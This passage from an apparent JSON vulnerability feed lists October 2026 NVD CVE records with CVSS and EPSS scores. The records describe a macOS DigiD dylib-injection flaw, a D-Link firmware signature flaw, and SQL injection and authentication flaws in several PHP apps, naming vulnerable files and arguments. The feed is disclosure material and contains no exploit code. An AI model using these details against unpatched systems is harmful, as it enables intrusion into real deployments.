exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T07:16:31.290Z","updatedAt":"2026-10-13T14:17:24.977Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108973","asOf":"2026-10-13T14:17:24.977Z"},"epss":{"probability":0.00288,"percentile":0.21158,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108973&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108973","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108973","type":"primary","publishedAt":"2026-10-13T07:16:31.290Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108973&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108973, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103316","cveId":"CVE-2026-103316","aliases":[],"kind":"vulnerability","title":"The macOS version of the DigiD app is not signed with Hardened Runtime.","summary":"The macOS version of the DigiD app is not signed with Hardened Runtime. As a result, a local process can load its own dylib into DigiD via DYLD_INSERT_LIBRARIES.  An attacker with local user-level code execution can execute arbitrary code within the macOS version of the DigiD app, thereby gaining access to DigiD data and cryptographic capabilities that the process normally does not have. Reported by Kun Peeks (@SwayZGl1tZyyy)","detail":"The macOS version of the DigiD app is not signed with Hardened Runtime. As a result, a local process can load its own dylib into DigiD via DYLD_INSERT_LIBRARIES.  An attacker with local user-level code execution can execute arbitrary code within the macOS version of the DigiD app, thereby gaining access to DigiD data and cryptographic capabilities that the process normally does not have. Reported by Kun Peeks (@SwayZGl1tZyyy)\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T07:16:30.490Z","updatedAt":"2026-10-14T19:17:06.610Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Apple macOS"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103316","asOf":"2026-10-14T19:17:06.610Z"},"epss":{"probability":0.001,"percentile":0.00842,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103316&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103316","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103316","type":"primary","publishedAt":"2026-10-13T07:16:30.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103316&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103316, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108972","cveId":"CVE-2026-108972","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in SourceCodester Human Resource Management System 1.0. Affected by this vulnerability is the function session_start of the file controller/employee.php...","summary":"A vulnerability was found in SourceCodester Human Resource Management System 1.0. Affected by this vulnerability is the function session_start of the file controller/employee.php of the component Employee Endpoint. The manipulation of the argument role/pfimg/EmpId results in improper authentication. It is possible to launch the attack remotely. The exploit has been made public and could be used.","detail":"A vulnerability was found in SourceCodester Human Resource Management System 1.0. Affected by this vulnerability is the function session_start of the file controller/employee.php of the component Employee Endpoint. The manipulation of the argument role/pfimg/EmpId results in improper authentication. It is possible to launch the attack remotely. The exploit has been made public and could be used.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T06:16:53.947Z","updatedAt":"2026-10-15T16:17:42.750Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108972","asOf":"2026-10-15T16:17:42.750Z"},"epss":{"probability":0.00397,"percentile":0.33644,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108972&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108972","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108972","type":"primary","publishedAt":"2026-10-13T06:16:53.947Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108972&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108972, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108971","cveId":"CVE-2026-108971","aliases":[],"kind":"vulnerability","title":"A flaw has been found in D-Link DCS-930L B1.08B4. This impacts the function mpfd_decode of the file bootloader_region.bin of the component Emergency HTTP Recovery Server.","summary":"A flaw has been found in D-Link DCS-930L B1.08B4. This impacts the function mpfd_decode of the file bootloader_region.bin of the component Emergency HTTP Recovery Server. Executing a manipulation of the argument firmware can lead to improper verification of cryptographic signature. The attack may be performed from remote. The exploit has been published and may be used.","detail":"A flaw has been found in D-Link DCS-930L B1.08B4. This impacts the function mpfd_decode of the file bootloader_region.bin of the component Emergency HTTP Recovery Server. Executing a manipulation of the argument firmware can lead to improper verification of cryptographic signature. The attack may be performed from remote. The exploit has been published and may be used.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T06:16:50.090Z","updatedAt":"2026-10-14T14:17:36.380Z","regions":["Global"],"vendor":null,"product":null,"stacks":["D-Link"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108971","asOf":"2026-10-14T14:17:36.380Z"},"epss":{"probability":0.00225,"percentile":0.13085,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108971&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108971","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108971","type":"primary","publishedAt":"2026-10-13T06:16:50.090Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108971&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108971, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108970","cveId":"CVE-2026-108970","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This affects the function MySQLDB::addNewUser of the file...","summary":"A vulnerability was detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This affects the function MySQLDB::addNewUser of the file include/database.php of the component Registration Form. Performing a manipulation of the argument branch results in sql injection. The attack is possible to be carried out remotely. The exploit is now public and may be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This affects the function MySQLDB::addNewUser of the file include/database.php of the component Registration Form. Performing a manipulation of the argument branch results in sql injection. The attack is possible to be carried out remotely. The exploit is now public and may be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T06:16:47.567Z","updatedAt":"2026-10-16T22:17:17.863Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108970","asOf":"2026-10-16T22:17:17.863Z"},"epss":{"probability":0.00263,"percentile":0.17976,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108970&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108970","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108970","type":"primary","publishedAt":"2026-10-13T06:16:47.567Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108970&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108970, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108969","cveId":"CVE-2026-108969","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. The impacted element is the function...","summary":"A security vulnerability has been detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. The impacted element is the function Session::checkLogin of the file include/session.php of the component Session Handler. Such manipulation of the argument cookname/cookid leads to incorrect comparison. The attack can be executed remotely. The exploit has been disclosed publicly and may be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A security vulnerability has been detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. The impacted element is the function Session::checkLogin of the file include/session.php of the component Session Handler. Such manipulation of the argument cookname/cookid leads to incorrect comparison. The attack can be executed remotely. The exploit has been disclosed publicly and may be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T06:16:34.070Z","updatedAt":"2026-10-13T14:17:24.837Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108969","asOf":"2026-10-13T14:17:24.837Z"},"epss":{"probability":0.00304,"percentile":0.22951,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108969&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108969","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108969","type":"primary","publishedAt":"2026-10-13T06:16:34.070Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108969&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108969, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108968","cveId":"CVE-2026-108968","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in SourceCodester Performance Indicator System 1.0. The affected element is an unknown function of the file /opils/staff/sales_history.php.","summary":"A weakness has been identified in SourceCodester Performance Indicator System 1.0. The affected element is an unknown function of the file /opils/staff/sales_history.php. This manipulation of the argument ID causes sql injection. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks.","detail":"A weakness has been identified in SourceCodester Performance Indicator System 1.0. The affected element is an unknown function of the file /opils/staff/sales_history.php. This manipulation of the argument ID causes sql injection. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T05:16:32.007Z","updatedAt":"2026-10-15T16:17:42.567Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108968","asOf":"2026-10-15T16:17:42.567Z"},"epss":{"probability":0.00263,"percentile":0.17974,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108968&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108968","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108968","type":"primary","publishedAt":"2026-10-13T05:16:32.007Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108968&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108968, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108967","cveId":"CVE-2026-108967","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in SourceCodester Performance Indicator System 1.0. Impacted is an unknown function of the file /opils/staff/edit_credit.php.","summary":"A security flaw has been discovered in SourceCodester Performance Indicator System 1.0. Impacted is an unknown function of the file /opils/staff/edit_credit.php. The manipulation of the argument credit results in sql injection. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.","detail":"A security flaw has been discovered in SourceCodester Performance Indicator System 1.0. Impacted is an unknown function of the file /opils/staff/edit_credit.php. The manipulation of the argument credit results in sql injection. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T05:16:31.833Z","updatedAt":"2026-10-14T14:17:36.237Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108967","asOf":"2026-10-14T14:17:36.237Z"},"epss":{"probability":0.00263,"percentile":0.17974,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108967&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108967","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108967","type":"primary","publishedAt":"2026-10-13T05:16:31.833Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108967&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108967, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108966","cveId":"CVE-2026-108966","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in SourceCodester Performance Indicator System 1.0. This issue affects some unknown processing of the file /opils/staff/product.php.","summary":"A vulnerability was identified in SourceCodester Performance Indicator System 1.0. This issue affects some unknown processing of the file /opils/staff/product.php. The manipulation of the argument Category leads to sql injection. The attack may be initiated remotely. The exploit is publicly available and might be used.","detail":"A vulnerability was identified in SourceCodester Performance Indicator System 1.0. This issue affects some unknown processing of the file /opils/staff/product.php. The manipulation of the argument Category leads to sql injection. The attack may be initiated remotely. The exploit is publicly available and might be used.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T05:16:31.630Z","updatedAt":"2026-10-16T22:17:17.717Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108966","asOf":"2026-10-16T22:17:17.717Z"},"epss":{"probability":0.00263,"percentile":0.17976,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108966&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108966","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108966","type":"primary","publishedAt":"2026-10-13T05:16:31.630Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108966&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108966, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108965","cveId":"CVE-2026-108965","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in SourceCodester Performance Indicator System 1.0. This vulnerability affects unknown code of the file /opils/staff/edit_quantity.php.","summary":"A vulnerability was determined in SourceCodester Performance Indicator System 1.0. This vulnerability affects unknown code of the file /opils/staff/edit_quantity.php. Executing a manipulation of the argument pqty can lead to sql injection. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized.","detail":"A vulnerability was determined in SourceCodester Performance Indicator System 1.0. This vulnerability affects unknown code of the file /opils/staff/edit_quantity.php. Executing a manipulation of the argument pqty can lead to sql injection. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T04:17:13.777Z","updatedAt":"2026-10-13T14:17:24.680Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108965","asOf":"2026-10-13T14:17:24.680Z"},"epss":{"probability":0.00266,"percentile":0.18304,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108965&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108965","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108965","type":"primary","publishedAt":"2026-10-13T04:17:13.777Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108965&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108965, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108964","cveId":"CVE-2026-108964","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in SourceCodester Performance Indicator System 1.0. This affects an unknown part of the file /opils/admin/addproduct.php.","summary":"A vulnerability was found in SourceCodester Performance Indicator System 1.0. This affects an unknown part of the file /opils/admin/addproduct.php. Performing a manipulation of the argument prodcategory results in sql injection. The attack can be initiated remotely. The exploit has been made public and could be used.","detail":"A vulnerability was found in SourceCodester Performance Indicator System 1.0. This affects an unknown part of the file /opils/admin/addproduct.php. Performing a manipulation of the argument prodcategory results in sql injection. The attack can be initiated remotely. The exploit has been made public and could be used.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 